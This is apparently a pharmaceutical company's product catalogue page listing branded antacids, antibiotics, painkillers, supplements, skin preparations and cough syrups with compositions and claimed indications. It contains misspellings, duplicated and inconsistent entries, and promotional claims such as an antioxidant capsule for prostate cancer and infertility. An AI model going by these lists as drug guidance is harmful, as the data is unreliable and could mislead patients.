Fever, common cold & Flu

KWOSNIL – DSR

CAPSULES ( HARD GELATIN)
10X10 (Alu-Alu)

Composition

Pantoprazole 40mg (EC) + Domperidone 30mg (SR)

Indications & Uses

GERD, Dyspepsia, Acid Peptic Disorders, Gastritis

TAPEN-DSR

CAPSULES ( HARD GELATIN)
11X10 (Alu-Alu)

Composition

Rabeprazole 20mg (EC) + Domperidone SR

Indications & Uses

GERD, Dyspepsia, Acid Peptic Disorders, Gastritis

KWOSNIL – DSR

CAPSULES ( HARD GELATIN)
10X10 (Alu-Alu)

Composition

Pantoprazole 40mg (EC) + Domperidone 30mg (SR)

Indications & Uses

GERD, Dyspepsia, Acid Peptic Disorders, Gastritis

ZAPRA – DSR

CAPSULES ( HARD GELATIN)
11X10 (Alu-Alu)

Composition

Rabeprazole 20mg (EC) + Domperidone SR

Indications & Uses

GERD, Dyspepsia, Acid Peptic Disorders, Gastritis

KWOSNIL – 40

INJECTION
40ml

Composition

Pantoprazole Sodium 40mg + NaCL

Indications & Uses

Acid-peptic disorders in hospitalized patients, Zollinger – Ellison Syndrome, Treatment of GERD Associated with Erasive Esophagitis, GL Bleed

NATIC

SUSPENSION
170ml

Composition

Activated Dimethicone 25mg + Magnesium Hydroxide 200mg+ Aluminium Hydroxide Gel 200mg/10ml

Indications & Uses

Heartburn, Acid Indigestion

AISZYME

SYRUP
200ml

Composition

Alpha Amylase (1:2000) 50mg, Pepsin(1:3000) 10mg/5ml

Indications & Uses

Dyspepsia, Flatulence, Anorexia, Pancreatic Insufficiency

BONFOL – Z

CAPSULES (HARD GELATIN)
10X3X10

Composition

Vitamin C 75mg + Vitamin B12 5mcg + Carbonyl Iron 100mg + Folic Acid 1.5mg + Zinc Sulphate 61.8mg

Indications & Uses

Hyphocromic Anemia in Pregnancy, Chronic and / or Acute Blood Loss, Post-gynaesurgery, Iron Deficiency Anemia

AID-D3 60K

CAPSULES (SOFT GELATIN)
10X1X4

Composition

Cholecalciferol 60000 UI

Indications & Uses

Osteoporosis, Osteoarthritis, Musculoskeletal Pain, Type- 2 Diabetes, Menstrual Irregularities, Pre-eclampsia, IUGR

ROBOTONE

ORAL SUSPENSION
200 ml

Composition

Calcium Carbonate 625mg, Vitamin D3 125 IU/5ml

Indications & Uses

Osteomalacia, Osteoporosis, Fractures, Premenstrual Syndrome

HAEMLING

SYRUP (IRON TONIC)
300 ml

Composition

Iron (III) Hydroxide Polymaltose 50mg, Folic Acid 0.5mg/15ml

Indications & Uses

Pregnancy and lactation, Iron Deficiency Anaemia, Anaemia due to Excessive Haemorrhage, Anaemia Associated with Infections and Malignant Disease

CIUM

CAPSULES (SOFT GELATIN)
5X2X15

Composition

Calcitriol 0.25mcg + Calcium Carbonate 500mg + Zinc Sulphate 7.5mg

Indications & Uses

Osteoporosis, Hypoparathyroidism, Pregnancy & Lactation, Premenstrual Syndrome

MEF – DSPAS

TABLETS
20X10

Composition

Mefenamic Acid 250mg + Dicyclomine HCI 10mg

Indications & Uses

Dysmenorrhea, Irritable Bowel Syndrome, Colic and Bladder Spasm, Abdominal Pain

NAS – 2

TABLETS (BLISTERS)
20X10

Composition

Nimeulide 100mg + Paracetamo; 325mg

Indications & Uses

Minor Pain of Arthiritis, Muscular Aches, Backache, Toothache, Headache, Pre-menstrual and Menstrual Cramps

NAC – P

TABLETS
20X10

Composition

Aceclofenac 100mg + Paracetamol 325mg

Indications & Uses

Arthritis Pain, Soft Tissue Trauma Including Sprains, Musculoskeletal Pain, Pain Following Dental Extraction

TP – FORTE

TABLETS (BLISTERS)
20X10

Composition

Tramadol 37.5mg +Paracetamol 325mg

Indications & Uses

Chronic Back Pain, Osteoarthritis, Postoperative Pain

SYREGO

POWDER FOR ORAL SUSPENSION
30ML (HDPE BOTTLE)

Composition

Cefpodoxime 50mg/5ml <

Indications & Uses

UTIs, LRTs

SWIFT – HEEL

CREAM
20g

Composition

Urea 10% +Lactic Acid 10% + Propylene Glycol 10% + Liquid Paraffin 10%

Indications & Uses

Foot Cracks, Keratolytic

OTIZOB

OINTMENT
15g

Composition

Clotrimazole 1% w/w + Beclomethasone Dipropionate 0.025% w/w + Neomycin 0.5% w/w

Indications & Uses

Eczema, Psoriasis, Corticosteroid Responsive Dermatoses

DANDNIL

LOTION
100 ml

Composition

Ketoconazole 2% w/v

Indications & Uses

Pityriasis, Dandruff

DANDNIL – Z

LOTION
100 ml

Composition

Ketoconazole Shampoo 2% w/v + ZPTO 1% w/v

Indications & Uses

Pityriasis, Dandruff

DANDNIL

SOAP
75g

Composition

Ketoconazole 1% w/w

Indications & Uses

Tinea Versicolor, Prophylaxis of Pityriasis Versicolor

FLUVERA – 200

TABLETS
20X1X1

Composition

Fluconazole 200mg

Indications & Uses

Vaginal Candidiasis, Brochopulmonary Infections, Candiduria, Tinea Pedis, Corposis, Cruris, Versicolor

MAGMA -VIT

SYRUP
200ml

Composition

L-Iysine HCI 25mg + Vitamin B1 2.5mg + Vitamin B2 2.5mg + Vitamin B6 0.75mg + D-panthenol 3mg +Niacinamide 25mg + Mecobalamin 2mcg/10ml

Indications & Uses

Sub-optimal Growth, Poor Weight Gain, Malnutrition, Prolonged Illness

LYCOVERVE GOLD

SYRUP
225ml

Composition

Each 10ml Contains: Lycopene 6% 1000mcg + Vitamin A Palmitate 2500 IU + Vitamin E 10 IU + Ascorbic Acid 50mg + Selenium (as Sodium Selenate) 35mcg + Zinc (As Zinc Gluconate) 3mg + Manganese (as Manganese Gluconate) 2mg + Iodine ( As Potassium Iodine) 100mcg + Copper (As Copper Sulphate0 500mcg + Thiamine HCI 2mg + Riboflavine 3mg + Pyridoxine HCI 1.5mg

Indications & Uses

Tiredness, Stress, Feeling of Weakness, Vitality Deficiency

CAROVI

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Antioxidant, Multivitamin & Multiminerals

Indications & Uses

Tiredness, Stress, Feeling of Weakness, Vitality Deficiency

WEETE

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Vitamin E (Natural) 400 IU + Wheat Germ Oil 100mg + Omega 3 Fatty Acids 30mg

Indications & Uses

Ulcerative colitis, Metabolic Syndrome, Rheumatoid Arthritis, Type-2 Diabetes, Cardiovascular Diseases

CAROVI-4G

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Omega 3 Fatty Acid + Ginseng Extract + Ginkgo Bilaba Extract + Grape Seed Extract + Ginseng Extract + Multimineral + Multivitamin + Antioxidants + Trace Elements

Indications & Uses

Tiredness, Stress, Feeling of Weakness, Vitality Deficiency

CAROVI G

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Ginseng + Multivitamin + Multimineral

Indications & Uses

Tiredness, Stress, Feeling of Weakness, Vitality Deficiency

LYCOVERVE PLUS

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Each SG Contains Lycopene 6% 2000 IU + Vitamin A 2500 IU + Vitamin E Acetate 10 IU + Vitamin C 50 mg + Zinc sulphate Monohydrate 27.45mg + Selenium Dioxide 70mcg

Indications & Uses

Idiopathic Male Infertility, Pre-eclampsia, Prostate Cancer, Cardiovascular Diseases, Diabetes Mellitus

CEFTAR-200 LB

TABLETS (Alu-Alu)
20X10

Composition

Cefixime 200mg + Lactic Acid Bacilus 2.5 billion spores

Indications & Uses

Otitis Media, Pharyngitis & Tonsillitis, Uncomplicated Urinary Tract Infections, Acute Exacerbations of Chronic Bronchitis, Enteric Fever

CEFTAR-CV-325

TABLETS (Alu-Alu)
10X1X6

Composition

Cefixime 200mg + Potassium Clavulanate 125mg

Indications & Uses

Respiratory Tract Infections, Urinary Tract Infections, Skin & Skin Structure Infections

AISIMOX – CLAV 625

TABLETS (Alu-Alu)
10X1X7

Composition

Amoxycillin 500mg + Potassium Clavulanate 125mg

Indications & Uses

Respiratory Tract Infections, Community Acquired Pneumonia, Gynaecological Infections, Acute Exacerbations of Chronic Bronchitis, Skin and Soft Tissue Infections

ROFLOX – O

TABLETS (Blister)
20X10

Composition

Ofloxacin 200mg + Ornidazole 500mg

Indications & Uses

Surgical ions, Diarrheas of Mixed Etiology, Gynaecological Infections, Orofacial and Dental Infections

NTILEVO

TABLETS
10X10

Composition

Levofloxacin 500mg

Indications & Uses

Acute Bacterial Sinusitis, Acute Bacterial Exacerbations of Chronic Bronchitis, Skin & Skin Structure Infections, Chronic Bacterial Prostatitis, Urinary Tract Infections

ROFLOX – O

TABLETS (Alu-Alu)
20X10

Composition

Ofloxacin 200mg

Indications & Uses

Community Acquired Pneumonia, Multiple Drug Resistant-TB, Typhoid

CEFTAR – O

TABLETS (Alu-Alu)
10X1X10

Composition

Cefixime 200mg + Ofloxacin 200mg

Indications & Uses

RTIs, Otitis Media, Sinustis, UTIs, Typhoid

AISIMOX – CLAV – 1.2

INJECTIONS
1.2g

Composition

Amoxycillin 1000mg + Potassium Clavulanate 200mg + WFI

Indications & Uses

Community Acquired Pneumonia, Gynaecological Infections, Upper Respiratory Tract Infections, Skin and Soft Tissue Infections, Urinary Tract Infections, Acute Exacerbations of Chronic Bronchitis

XC – SB 1.5

INJECTIONS
1.5g

Composition

Ceftriaxone 1000mg + Sulbactam 500mg + WFI

Indications & Uses

Gynaecological Infections, Lower Respiratory Tract Infections, Intra-abdominal Infections with Aerobic Organisms, Surgical Prophylaxis

FOPER-SB 1.5

INJECTIONS
1.5gm

Composition

Cefaperazone 1000mg + Sulbactam 500mg +WFI

Indications & Uses

Peritonitis, Bacterial Simusitis, Cholecystitis, Meningitis

M-HAWK

INJECTIONS
1gm

Composition

Meropenem 1gm + WFI

Indications & Uses

Complicated Intra-abdominal Infection (cIAI), Complicated Skin & Skin Structure Infections (cSSSI), Bacterial Meningitis, Noscocomial Pneumonia

PTZ-4.5

INJECTIONS
4.5gm

Composition

Piperacillin 4000mg + Tazobactam 500mg + WFI

Indications & Uses

Intra-abdominal Infections, Complicated Urinary Tract Infections, Febrile Neutropenia, Lower Respiratory Tract Infections

OXIME-200

TABLETS (Alu-Alu)
10X1X6

Composition

Cefpodoxime Proxetil 200mg

Indications & Uses

Pharyngitis, CAP, Tonsilitis

KHAASHNIL

SYRUP
100ml

Composition

Ambroxol HCI 15mg + Guaiphensin 50mg + Terbutaline Sulphate 1.5mg + Mentholated Base/5ml

Indications & Uses

Bronchitis, Productive Cough, Emphysema, Bronchial Asthma

KHAASHNIL – BR

SYRUP
100ml

Composition

Terbutaline Sulphate 2.5mg + Bromhexine HCI 8mg + Guaiphenesin 100mg + Methalated Base/5ml

Indications & Uses

Acute Cough, Abnormal Mucus Secretion, Productive Cough

ENYPHIL

SYRUP
100ml

Composition

Dextromethorphan Hydrobromide 10mg + Phenylpherine 5 mg + Cetrizine 5mg + Mentholated Base/5ml

Indications & Uses

Commom Cold and Flu, Nasal Congestion, Sore Throat

LEVKAST

TABLETS (Alu-Alu)
20X10

Composition

Levocetirizine 5mg + Montelukast 10mg

Indications & Uses

Allergic Rhinitis, Nasal Congestion, Asthma

AISLET

TABLETS (Alu-Alu)
20X10

Composition

Levocetirizine 5mg

Indications & Uses

Chronic Idiopathic Urticaria (CIU), Seasonal Allergic Rhinitis (SAR), Perennial Allergic Rhinitis (PAR)

Arrange A Callback

[]

1 Step 1

Full Name

Telephone

Your Email

Departmentyour full name

Postal Address

Message

0 /